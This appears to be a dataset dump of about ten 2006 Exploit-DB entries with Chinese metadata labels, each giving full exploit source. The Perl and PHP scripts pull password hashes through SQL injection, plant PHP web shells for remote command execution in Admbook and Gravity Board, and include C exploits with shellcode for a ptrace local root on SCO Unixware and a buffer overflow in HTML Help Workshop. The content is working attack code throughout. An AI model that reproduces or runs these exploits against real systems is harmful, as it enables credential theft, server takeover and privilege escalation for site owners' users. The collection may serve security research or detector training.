QLWD/code_shield huggingface dataset:
标题: phpWebSite 0.10.0-full - 'topics.php' SQL Injection EDB-ID: 1525 CVE: 2006-0973 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-24 漏洞利用脚本: #!/usr/bin/perl
# 
# advisory sent in by SnIpEr_SA (selfar2002[at]hotmail.com)
# http://www.target.com/topics.php?op=viewtopic&topic=-1%20Union%20select%20name,name,pass,name%20From%20users%20where%20uid=1
# ported by str0ke (milw0rm.com) from x97Rangs code (RST/GHC) http://rst.void.ru

use LWP::Simple;

$serv     =  $ARGV[0];
$path     =  $ARGV[1];
$uid      =  $ARGV[2];

sub usage
 {
    print "\nUsage: $0 [server] [path] [username] \n";
    print "sever    -  URL\n";
    print "path     -  path to topics.php\n";
    print "uid      -  uid of the user\n\n";
    exit ();}

sub work
 {
    print qq(
       ---------------------------------
#==---[ phpWebSite topic SQL-Injection  |
       ---------------------------------\n\n);&board}

sub board
 {
    $URL = sprintf("http://%s%s/topics.php?op=viewtopic&topic=-1+Union+select+name,name,pass,name+From+users+where+uid=%s",$serv,$path,$uid);
    $content = get "$URL";
    if ($content =~ /(\w{32})/){&showh;}else{print "... One of those days :)\n";}}

sub showh
 {
    print "[*] User: $uid Hash: $1\n\n";}

if (@ARGV != 3){&usage;}else{&work;}

# milw0rm.com [2006-02-24] URL: https://www.exploit-db.com/exploits/1525
标题: saPHP Lesson 2.0 - 'forumid' SQL Injection EDB-ID: 1530 CVE: 2005-3363 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-25 漏洞利用脚本: #!/usr/bin/perl
#
# For password
# http://www.example.com/path/showcat.php?forumid=-1%20union%20select%20ModPassword%20from%20modretor
# For username
# http://www.example.com/path/showcat.php?forumid=-1%20union%20select%20ModName%20from%20modretor
# sent in by SnIpEr_SA (selfar2002[at]hotmail.com)
# ported by str0ke (milw0rm.com)

use LWP::Simple;

$serv     =  $ARGV[0];
$path     =  $ARGV[1];

sub usage
 {
    print "\nSaphpLesson 2.0 SQL-Injection \n";
    print "By SnIpEr_SA Ported by str0ke\n";
    print "Usage: $0 www.example.com /directory/\n";
    print "sever    -  URL\n";
    print "path     -  path to showcat.php\n";
    exit ();
}

sub exploit
 {
    print qq(
    SaphpLesson 2.0 SQL-Injection
    By SnIpEr_SA Ported by str0ke\n\n);

    $URL = sprintf("http://%s%sshowcat.php?forumid=-1+union+select+ModName+from+modretor",$serv,$path);
    $content = get "$URL";
    if ($content =~ /(\[)(.*)(\]\<\/title\>)/){&user;}else{print "No Workie\n";}
    $URL = sprintf("http://%s%sshowcat.php?forumid=-1+union+select+ModPassword+from+modretor",$serv,$path);
    $content = get "$URL";
    if ($content =~ /(\[)(\w{32})(\]\<\/title\>)/){&showh;}else{print "No Workie\n";}
}

sub user { print "[*] Username: $2\n";}
sub showh { print "[*] Hash: $2\n\n";}

if (@ARGV != 2){&usage;}else{&exploit;}

# milw0rm.com [2006-02-25] URL: https://www.exploit-db.com/exploits/1530
标题: SCO Unixware 7.1.3 - 'ptrace' Local Privilege Escalation EDB-ID: 1534 CVE: 2005-2934 类型: LOCAL 平台: SCO 发布日期: 2006-02-26 漏洞利用脚本: /* SCO Unixware 7.1.3 ptrace local root exploit
 * ============================================
 * SCO Unixware 7.1.3 kernel allows unprivledged users
 * to debug binaries. The condition can be exploited
 * by an attacker when he has execute permissions to 
 * a file which has the suid bit set.
 * 
 * Example.
 *
 *  $ uname -a
 *  UnixWare iron 5 7.1.3 i386 x86at SCO UNIX_SVR5
 *  $ /linux/bin/bash
 *  bash-2.05$ uname -a
 *  Linux iron.fi.st 2.4.13 #1 Thu Oct 31 02:32:23 EST 2002 i686 unknown
 *  bash-2.05$ id
 *  uid=122(matt) gid=1(other) groups=1(other)
 *  bash-2.05$ ./fu /unixware/usr/lib/sendmail
 *  [ SCO Unixware 7.1.3 ptrace local root exploit
 *  [ Using 0xbfffed78
 *  sh-2.05# id
 *  uid=0(root) gid=1(other) groups=1(other)
 *  sh-2.05# 
 * 
 *  - prdelka
 */
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <syscall.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <errno.h>
#include <asm/user.h>



char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x31\xdb\x8d\x43\x17\xcd\x80\x31\xc0"
   "\x50\x68""//sh""\x68""/bin""\x89\xe3\x50"
   "\x53\x89\xe1\x99\xb0\x0b\xcd\x80";


int main(int argc,char* argv[])
{
 int esp, eip, i = 0;
 struct user_regs_struct regs;
 char *env[] = {"HISTFILE=/dev/null",NULL};
 pid_t pid;
 printf("[ SCO Unixware 7.1.3 local root exploit\n");
 if(argc < 2)
 {
  printf("[ Usage: [binary]\n");
  printf("[ e.g -rwsr-sr-x root root /linux/opt/kde2/bin/kcheckpass\n");
  exit(0);
 }
 switch (pid = fork())
 {
 case -1:
  perror("fork");
  break;
 case 0:  
  ptrace(PTRACE_TRACEME, 0, 0, 0);  
  pid = getpid();
  execle(argv[1],argv[1],NULL,env);  
  break;
 default:  
  waitpid(pid, NULL, 0); 
  ptrace(PTRACE_GETREGS, pid, NULL, &regs);
  esp = eip = regs.esp - 512;
  while (i < strlen(shellcode)) 
  {
   ptrace(PTRACE_POKETEXT, pid, esp, (int) *(int *) (shellcode + i));
   i += 4;
   esp += 4;
  }
  regs.eip = (long) eip;
  printf("[ Using 0x%x\n",regs.eip); 
  ptrace(PTRACE_SETREGS, pid, NULL, &regs);
  ptrace(PTRACE_DETACH, pid, NULL,NULL);
 }
 usleep(1);
 wait(0);
 return 0;
}

// milw0rm.com [2006-02-26] URL: https://www.exploit-db.com/exploits/1534
标题: MiniNuke 1.8.2b - 'pages.asp' SQL Injection EDB-ID: 1514 CVE: 2006-0870 类型: WEBAPPS 平台: ASP 发布日期: 2006-02-19 漏洞利用脚本: #!/usr/bin/perl
#Method found & Exploit scripted by nukedx
#Contacts > ICQ: 10072 MSN/Main: nukedx@nukedx.com web: www.nukedx.com
#Orginal advisory: http://www.nukedx.com/?viewdoc=9
#Usage: mini.pl <victim.com> </mininuke-dir> <userid>
use IO::Socket;
if(@ARGV != 3){
print "
+**********************************************************************+
+Welcome to MiniNuke CMS System all versions (pages.asp) SQL-inject xpl+
+            Usage: mini.pl <victim> <directory> <userid>              +
+                    Example: mini.pl sux.com / 1                      +
+               Method found & Exploit scripted by nukedx              +
+**********************************************************************+
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$port = "80";
$mndir = $ARGV[1];
$victimid = $ARGV[2];
$sreq ="http://".$server.$mndir."pages.asp?id=3%20union+select+0,kul_adi,sifre,0,0+from+members+where+uye_id=".$victimid;
#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$mns = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $mns "GET $sreq\n";
print $mns "Host: $server\n";
print $mns "Accept: */*\n";
print $mns "Connection: close\n\n";
print "+ Connected!...\n";
 while($answer = <$mns>) {
  if ($answer =~ /([\d,a-f]{32})/) { 
   print "+ USERID: $victimid\n";
                        print "+ MD5 HASH: $1\n";
   print "+**********************************************************************+\n";
   exit(); }
  if ($answer =~ /number of columns/) { 
                print "+ This version of Mini-Nuke is vulnerable too but default query of SQL-inject does not work on it\n";
                print "+ So please edit query by manually adding null data..\n";
                exit(); }
 }
print "+ Exploit failed\n";
print "+**********************************************************************+\n";

# nukedx.com [2006-02-19]

# milw0rm.com [2006-02-19] URL: https://www.exploit-db.com/exploits/1514
标题: BXCP 0.2.9.9 - 'tid' SQL Injection EDB-ID: 1513 CVE: 2006-0821 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-19 漏洞利用脚本: <?
error_reporting(E_ERROR);

function xss_init()
{
    if (!extension_loaded('php_curl'))
    {
       if (!dl('curl.so') and !dl('php_curl.so') and !dl('php_curl.dll'))
       die ("oo error - cannot load curl extension!");
    }
}

function xss_header()
{
    echo "\noooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo\n";
    echo "                                  oo    ooooooo     ooooooo\n";
    echo "                    oooo   oooo o888  o88     888 o888   888o\n";
    echo "                      888o888    888        o888   888888888\n";
    echo "                      o88888o    888     o888   o 888o   o888\n";
    echo "                    o88o   o88o o888o o8888oooo88   88ooo88\n";
    echo "oooooooooooooooooooooooooooooo bxcp 0.299 exploit oooooooooooooooooooooooooooooo\n";
    echo "oo usage          $ php bxcp-0299-exploit.php [url] [user id]\n";
    echo "oo proxy support  $ php bxcp-0299-exploit.php [url] [user id] [proxy]:[port]\n";
    echo "oo example        $ php bxcp-0299-exploit.php http://localhost 1\n";
    echo "oo open the file bxcp_pw.html - there you find the password of the user\n\n";
}

function xss_bottom()
{
    echo "\noo discover : x128 - alexander wilhelm - 19/02/2006\n";
    echo "oo contact  : exploit <at> x128.net                    oo website : www.x128.net";
}

function xss_exploit()
{
    $xss_target = $_SERVER['argv'][1] . "/index.php";
    $xss_http_get = "?show=topic&tid=" . urlencode("0 UNION SELECT 1, 1, 1, nick, 1, 1, 1, `password`, 1, 1, 1, 1, 1, 1, 1 FROM users WHERE id = ". $_SERVER['argv'][2] ."/*");

    $xss_connection = curl_init();

    if ($_SERVER['argv'][3])
    {
        curl_setopt($xss_connection, CURLOPT_TIMEOUT, 8);
        curl_setopt($xss_connection, CURLOPT_PROXY, $_SERVER['argv'][3]);
    }

    curl_setopt ($xss_connection, CURLOPT_URL, $xss_target . $xss_http_get);
    curl_setopt ($xss_connection, CURLOPT_HEADER, 0);
    curl_setopt ($xss_connection, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt ($xss_connection, CURLOPT_USERAGENT, 'x128');

    $xss_source = curl_exec($xss_connection) or die("oo error - cannot connect!");

    if ($xss_source) echo "oo dafaced ...\n";

    $xss_output = fopen("bxcp_pw.html","w");
    fputs($xss_output, $xss_source);
    fclose($xss_output);

    curl_close ($xss_connection); 
}

xss_init();
xss_header();
xss_exploit();
xss_bottom();
?>

# milw0rm.com [2006-02-19] URL: https://www.exploit-db.com/exploits/1513
标题: Admbook 1.2.2 - 'x-forwarded-for' Remote Command Execution EDB-ID: 1512 CVE: 2006-0852 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-19 漏洞利用脚本: #!/usr/bin/perl -w
use IO::Socket;

print "*************************************************************************\r\n";
print "|            Admbook <=1.2.2 X-Forwarded-For cmmnds xctn xploit        |\r\n";
print "|                     By rgod rgod<AT>autistici<DOT>org                |\r\n";
print "|                   site: http://retrogod.altervista.org               |\r\n";
print "|                                                                      |\r\n";
print "| Sun-Tzu: \"Rouse him, and learn the principle of his  activity  or    |\r\n";
print "| inactivity.  Force him to reveal himself,  so as to find out  his    |\r\n";
print "| vulnerable spots.\"                                                   |\r\n";
print "*************************************************************************\r\n";
print "| dork:  intitle:admbook intitle:version filetype:php                   |\r\n";
print "*************************************************************************\r\n";
sub main::urlEncode {
    my ($string) = @_;
    $string =~ s/(\W)/"%" . unpack("H2", $1)/ge;
    #$string# =~ tr/.//;
    return $string;
 }

$serv=$ARGV[0];
$path=$ARGV[1];
$cmd=""; for ($i=2; $i<=$#ARGV; $i++) {$cmd.="%20".urlEncode($ARGV[$i]);};

if (@ARGV < 3)
{
print "Usage:\r\n";
print "perl admbook_122_xpl.pl SERVER PATH COMMAND\r\n\r\n";
print "SERVER         - Server where AdmBook is installed.\r\n";
print "PATH           - Path to AdmBook (ex: /admbook/ or just /) \r\n";
print "COMMAND        - A shell command \r\n";
print "Example:\r\n";
print "perl admbook_122_xpl.pl localhost /admbook/ ls -la\r\n";
exit();
}

$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", Timeout  => 10, PeerPort=>"http(80)")
or die "[+] Connecting ... Could not connect to host.\n\n";
               
$SHELL='";if (isset($_GET[CMD])){ECHO"Hi Master!";INI_SET("max_execution_time",0);PASSTHRU($_GET[CMD]);DIE;}echo"';
$data="page=1";
$data.="&name=whoami";
$data.="&url=";
$data.="&email=whoami\@SUNTZU.COM";
$data.="&icq=";
$message=urlEncode("I love italian guys!");
$data.="&message=".$message;
print $sock "POST ".$path."write.php HTTP/1.1\r\n";
print $sock "Referer: http://".$serv.$path."index.php\r\n";
print $sock "X-Forwarded-For: GUESS_WHAT:".$SHELL."\r\n";
print $sock "Content-Type: application/x-www-form-urlencoded\r\n";
print $sock "User-Agent: sun-tzu\r\n";
print $sock "Content-Length: ".length($data)."\r\n";
print $sock "Host: ".$serv."\r\n";
print $sock "Connection: Close\r\n\r\n";
print $sock $data;
close($sock);

sleep(2);

$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", Timeout  => 10, PeerPort=>"http(80)")
or die "[+] Connecting ... Could not connect to host.\n\n";

print $sock "GET ".$path."content-data.php?CMD=".$cmd." HTTP/1.1\r\n";
print $sock "Host: ".$serv."\r\n";
print $sock "Connection: close\r\n\r\n";

while ($answer = <$sock>) {
  print $answer;
}
close($sock);

# milw0rm.com [2006-02-19] URL: https://www.exploit-db.com/exploits/1512
标题: Gravity Board X 1.1 - 'csscontent' Remote Code Execution EDB-ID: 1510 CVE: 2005-2564 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-17 漏洞利用脚本: #!/usr/bin/perl

## Gravity Board X v1.1 (possibly prior versions) remote code execution exploit
## (c)oded by 1dt.w0lf
## 14.08.2005
## RST/GHC
## http://rst.void.ru
## http://ghc.ru

use LWP::UserAgent;

if(@ARGV<1) { &usage; exit(0); }

$path = $ARGV[0];
header();
print "Creating shell... Please wait\n";

$gr = LWP::UserAgent->new() or die;
$res = $gr->get($path.'editcss.php?csscontent=</style><?php error_reporting(0); system($HTTP_POST_VARS[cmd]); ?>');
if($res->as_string =~ /unable to save changes/)
 {
 print "Forum unable to save changes in css template. Exploitation failed.\n";
 exit(0);
 }
print "DONE.\n";

while ()
 {
    print "Type command for execute or 'q' for exit\nGravity# ";
    while(<STDIN>)
     {
        $cmd=$_;
        chomp($cmd);
        exit() if ($cmd eq 'q');
        last;
     }
    &run($cmd);
 }

sub run()
 {
 $cmd2  = 'echo 1 && echo _START_ && ';
 $cmd2 .= $cmd;
 $cmd2 .= ' && echo _END_';
 $gr = LWP::UserAgent->new() or die;
 $res = $gr->post($path.'index.php',{"cmd" => "$cmd2"});   
 @result = split(/\n/,$res->content);
 $runned = 0;
 $on = 0;
 print "\n";
 for $res(@result)
  {
    if ($res =~ /^_END_/) { print "\n"; return 0; }
    if ($on == 1) { print "  $res\n"; }
    if ($res =~ /^_START_/) { $on = 1; $runned = 1; } 
  }
 print "Can't execute command\n" if !$runned;
 }

sub header()
{
 print "--* Gravity Board X v1.1 exploit by RST/GHC\n";
 print "--* keep it private, not for public\n";
}

sub usage()
 {
  header();
  print "usage : r57Gravity.pl [path_to_forum]\n";
  print "  e.g.: r57Gravity.pl http://127.0.0.1/forum/\n";
 }

# milw0rm.com [2006-02-17] URL: https://www.exploit-db.com/exploits/1510
标题: ilchClan 1.05g - 'tid' SQL Injection EDB-ID: 1516 CVE: 2006-0851 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-20 漏洞利用脚本: <?
error_reporting(E_ERROR);

function xss_init()
{
    if (!extension_loaded('php_curl'))
    {
       if (!dl('curl.so') and !dl('php_curl.so') and !dl('php_curl.dll'))
       die ("oo error - cannot load curl extension!");
    }
}

function xss_header()
{
    echo "\noooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo";
    echo "                                  oo    ooooooo     ooooooo\n";
    echo "                    oooo   oooo o888  o88     888 o888   888o\n";
    echo "                      888o888    888        o888   888888888\n";
    echo "                      o88888o    888     o888   o 888o   o888\n";
    echo "                    o88o   o88o o888o o8888oooo88   88ooo88\n";
    echo "oooooooooooooooooooooooooooooo bxcp 0.299 exploit oooooooooooooooooooooooooooooo\n";
    echo "oo usage          $ php ilchclan-105g-exploit.php [url] [post id] [user id]\n";
    echo "oo proxy support  $ php ilchclan-105g-exploit.php [url] [post id] [user id]\n";
    echo "                    [proxy]:[port]\n";
    echo "oo [post id]      id of a post in the forum where a guest have the permission\n";
    echo "                  to write a reply with a quote\n";
    echo "oo example        $ php ilchclan-105g-exploit.php http://localhost 1 1\n";
    echo "oo open the file ilchclan_pw.html - there you find the password of the user\n\n";
}

function xss_bottom()
{
    echo "\noo discover : x128 - alexander wilhelm - 21/02/2006\n";
    echo "oo contact  : exploit <at> x128.net                    oo website : www.x128.net";
}

function xss_exploit()
{
    $xss_target = $_SERVER['argv'][1] . "/index.php";
    $xss_http_get = "?m=forum&um=newpost&tid=" . $_SERVER['argv'][2] . "&pid=" . urlencode("0 UNION SELECT pass, name FROM prefix_user WHERE id = ". $_SERVER['argv'][3] ."/*");

    $xss_connection = curl_init();

    if ($_SERVER['argv'][4])
    {
        curl_setopt($xss_connection, CURLOPT_TIMEOUT, 8);
        curl_setopt($xss_connection, CURLOPT_PROXY, $_SERVER['argv'][4]);
    }

    curl_setopt ($xss_connection, CURLOPT_URL, $xss_target . $xss_http_get);
    curl_setopt ($xss_connection, CURLOPT_HEADER, 0);
    curl_setopt ($xss_connection, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt ($xss_connection, CURLOPT_USERAGENT, 'x128');

    $xss_source = curl_exec($xss_connection) or die("oo error - cannot connect!\n");

    if ($xss_source) echo "oo dafaced ...\n";

    $xss_output = fopen("ilchclan_pw.html","w");
    fputs($xss_output, $xss_source);
    fclose($xss_output);

    curl_close ($xss_connection); 
}

xss_init();
xss_header();
xss_exploit();
xss_bottom();
?>

# milw0rm.com [2006-02-20] URL: https://www.exploit-db.com/exploits/1516
标题: Microsoft HTML Help Workshop - '.hhp' Local Buffer Overflow (3) EDB-ID: 1495 CVE: 2006-0564 2009-0133 类型: LOCAL 平台: WINDOWS 发布日期: 2006-02-14 漏洞利用脚本: /*
\ Windows HTML Help Workshop Index File Stack Overflow Exploit
/      by Darkeagle
\
/ [http://eagle.blacksecurity.org]
\
/ MS coders codes so secure code. Keep coding }:>
\ 
/ Original Advisory: http://eagle.blacksecurity.org/stuff/unl0ck/adv/55k700206.txt
\
/ Exploit tested in WinXP SP2 RUS.
\
*/
#include <stdio.h>
#include <string.h>
#include "stdafx.h"

char ep[]=
"[OPTIONS]\n"
"Compatibility=1.1 or later\n"
"Compiled file=XAKEP.chm\n"
"Index File=";

char pro[]=
"Display compile progress=No\n"
"Language=0x43f Êàçàõñêèé\n\n\n"
"[INFOTYPES]";

char shellcode[]=
        "\x54\x50\x53\x50\x29\xc9\x83\xe9\xde\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x02"
        "\xdd\x0e\x4d\x83\xee\xfc\xe2\xf4\xfe\x35\x4a\x4d\x02\xdd\x85\x08\x3e\x56\x72\x48"
 "\x7a\xdc\xe1\xc6\x4d\xc5\x85\x12\x22\xdc\xe5\x04\x89\xe9\x85\x4c\xec\xec\xce\xd4"
 "\xae\x59\xce\x39\x05\x1c\xc4\x40\x03\x1f\xe5\xb9\x39\x89\x2a\x49\x77\x38\x85\x12"
 "\x26\xdc\xe5\x2b\x89\xd1\x45\xc6\x5d\xc1\x0f\xa6\x89\xc1\x85\x4c\xe9\x54\x52\x69"
        "\x06\x1e\x3f\x8d\x66\x56\x4e\x7d\x87\x1d\x76\x41\x89\x9d\x02\xc6\x72\xc1\xa3\xc6"
 "\x6a\xd5\xe5\x44\x89\x5d\xbe\x4d\x02\xdd\x85\x25\x3e\x82\x3f\xbb\x62\x8b\x87\xb5"
 "\x81\x1d\x75\x1d\x6a\xa3\xd6\xaf\x71\xb5\x96\xb3\x88\xd3\x59\xb2\xe5\xbe\x6f\x21"
 "\x61\xdd\x0e\x4d";

int main(int argc,char *argv[])
{
 printf("Windows HTML Help Workshop Index File stack overflow exploit\n");
        printf("\nBug discovered && exploited by darkeagle of Unl0ck Researchers");
 printf("\nWeb page: http://eagle.blacksecurity.org");

 FILE *vuln;
 char overflow[800];

 vuln = fopen("eagle.hhp","w+");
 memset(overflow, 0x90, 800);

 *(long*)&overflow[280] = 0x77E859BA;
 memcpy(overflow+292, &shellcode, sizeof(shellcode));

 if(vuln)
 {
  fprintf(vuln,"%s%s\n%s",ep,overflow,pro);
  fclose(vuln);
 }

 return 0;
}

// milw0rm.com [2006-02-14] URL: https://www.exploit-db.com/exploits/1495
标题: Invision Power Board Army System Mod 2.1 - SQL Injection EDB-ID: 1492 CVE: 2006-0750 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-13 漏洞利用脚本: <?php
/* --------------------------- EXPLOIT ---------------------------
Invision Power Board Army System Mod 2.1 SQL Injection Exploit
Tested on: Latest version (2.1.0)
Discovered on: 06.02.2006 by Alex & fRoGGz
Credits to: SecuBox Labs

PLEASE READ THIS !
The query of the SQL Injection depends about the number of fields in the sql table
We have successfully tested the exploit on a new fresh IPB 2.1.x with Army 
System Mod 2.1 installed

IN NO EVENT SHALL THE OWNER OF THIS CODE OR CONTRIBUTORS BE LIABLE 
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/

$target = "http://site.com/forums/"; // <--- Where ?
$prefix = "ibf_"; // <--- SQL prefix ?
$id = 1; // <--- Who ?

print_r(get_infos($target,$prefix,$id));
if(!get_infos($target,$prefix,$id)) echo "failed";

function get_infos($target,$prefix,$id) {

    $inject = "index.php?s=&act=army&userstat=0+UNION+SELECT+id,member_login_key,";
    $inject.= "1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,";
    $inject.= "1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,NULL,NULL,";
    $inject.= "NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,";
    $inject.= "NULL+FROM+".$prefix."members+WHERE+id=";

    $filename = $target . $inject . $id;

    $handle = fopen ($filename, "r");
        $infos = array();

        if (feof($handle)) { continue 2; }
        if ( $handle ) {
                while ( ($buffer = fgets( $handle )) )
                {
                        if ( strpos( $buffer, "<td class='pformleft' width=\"35%\">Name</td>") ) {
                                $infos['md5'] = strip_tags ( fgets( $handle) );
                break;
                        }
                }
        }

    fclose ($handle);

        if (count($infos) == 1) return $infos;
        return false;
}
?>

# milw0rm.com [2006-02-13] URL: https://www.exploit-db.com/exploits/1492